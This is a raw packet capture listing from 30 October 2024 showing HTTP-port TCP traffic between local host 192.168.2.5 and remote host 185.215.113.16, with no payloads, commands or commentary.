Oct 30, 2024 00:20:18.727855921 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:18.734694004 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.013097048 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.013156891 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.013192892 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.013226986 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.013256073 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.013278961 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.013284922 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.013345957 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.013380051 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.013391018 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.013413906 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.013448000 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.013475895 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.013480902 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.013514996 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.013528109 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.013549089 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.013592005 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.131751060 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.131809950 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.131841898 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.131863117 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.131894112 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.131927013 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.131938934 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.131961107 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.131994009 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.132004023 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.132028103 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.132061958 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.132070065 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.132150888 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.132184982 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.132227898 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.132236958 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.132271051 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.132312059 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.132320881 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.132354975 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.132389069 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.132396936 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.132422924 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.132427931 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.132455111 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.132483959 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.132498026 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.132517099 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.132550955 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.132581949 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.132591963 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.132613897 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.132616997 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.132644892 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.132683039 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.132697105 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.132730961 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.132764101 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.132797956 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.132813931 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.132837057 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.250504971 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.250709057 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.250742912 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.250778913 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.250813961 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.250847101 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.250911951 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.250911951 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.250915051 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.250945091 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.250955105 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.250997066 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.251005888 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.251030922 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.251064062 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.251111031 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.251120090 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.251158953 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.251205921 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.251209974 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.251250982 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.251259089 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.251296997 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.251344919 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.251351118 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.251385927 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.251418114 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.251456022 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.251461029 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.251535892 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.251580000 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.251588106 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.251621962 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.251655102 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.251662016 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.251693964 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.251703978 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.251737118 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.251770020 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.251777887 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.251804113 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.251837015 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.251846075 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.251887083 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.251916885 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.251949072 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.251959085 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.251983881 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.252027988 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.252033949 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.252067089 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.252074003 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.252100945 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.252134085 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.252145052 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.252166986 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.252199888 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.252209902 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.252233028 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.252269030 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.252301931 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.252309084 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.252336025 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.252368927 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.252378941 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.252402067 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.252403975 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.252435923 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.252470970 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.252477884 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.252504110 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.252538919 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.252546072 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.252572060 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.252604961 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.252636909 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.252646923 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.252671003 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.252705097 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.252712965 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.252738953 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.252770901 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.252804995 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.252825022 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.252825022 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.293884039 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.369476080 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.369503975 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.369520903 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.369560003 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.369582891 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.369606972 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.369621992 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.369638920 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.369646072 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.369654894 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.369671106 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.369674921 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.369687080 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.369716883 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.369726896 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.369757891 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.369771957 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.369795084 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.369812965 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.369882107 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.369898081 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.369914055 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.369924068 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.369930029 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.369946957 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.369951963 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.370002985 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.370018005 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.370019913 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.370035887 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.370050907 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.370066881 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.370074034 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.370083094 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.370099068 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.370100975 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.370114088 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.370121002 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.370131969 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.370155096 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.370348930 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.370373964 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.370388985 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.370404959 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.370414972 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.370429993 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.370434999 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.370446920 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.370464087 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.370471001 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.370477915 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.370493889 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.370507002 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.370508909 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.370524883 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.370532990 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.370539904 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.370556116 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.370558023 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.370579958 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.370590925 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.370594978 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.370603085 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.370619059 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.370630026 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.370634079 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.370651007 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.370654106 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.370666027 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.370682001 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.370686054 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.370714903 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.370762110 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.370778084 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.370791912 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.370807886 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.370815992 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.370824099 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.370841026 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.370856047 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.370856047 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.370872021 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.370879889 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.370887995 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.370903969 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.370913029 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.370918989 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.370937109 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.370940924 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.370955944 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.370980024 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.371031046 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.371046066 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.371062040 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.371079922 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.371085882 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.371095896 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.371112108 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.371135950 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.371153116 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.371169090 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.371206999 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.371234894 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.371251106 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.371267080 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.371284962 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.371295929 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.371303082 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.371325970 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.371337891 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.371345043 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.371360064 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.371382952 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.371398926 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.371416092 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.371427059 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.371433020 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.371470928 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.371490955 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.371516943 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.371531963 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.371539116 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.371546984 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.371562004 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.371572018 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.371577978 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.371645927 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.371645927 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.371680021 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.371696949 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.371715069 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.371730089 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.371742964 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.371747017 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.371764898 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.371805906 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.371820927 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.371845961 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.371862888 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.371879101 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.371884108 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.371884108 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.371895075 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.371912003 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.371917963 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.371926069 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.371953011 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.418880939 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.488442898 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.488507986 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.488544941 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.488574982 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.488580942 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.488615990 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.488648891 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.488651037 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.488704920 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.488790989 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.488842010 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.488872051 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.488882065 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.488924980 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.488955975 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.488964081 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.488990068 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.489022970 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.489068031 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.489336967 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.489386082 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.489559889 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.489589930 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.489623070 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.489662886 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.489723921 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.489757061 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.489787102 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.489792109 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.489845037 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.489878893 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.489885092 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.489912987 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.489945889 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.489953995 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.489983082 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.489984989 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.490109921 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.490144014 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.490184069 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.490211010 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.490252018 CET	49712	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:20:19.490267038 CET	80	49712	185.215.113.16	192.168.2.5
Oct 30, 2024 00:20:19.490318060 CET	80	49712	185.215.113.16	192.168.2.5
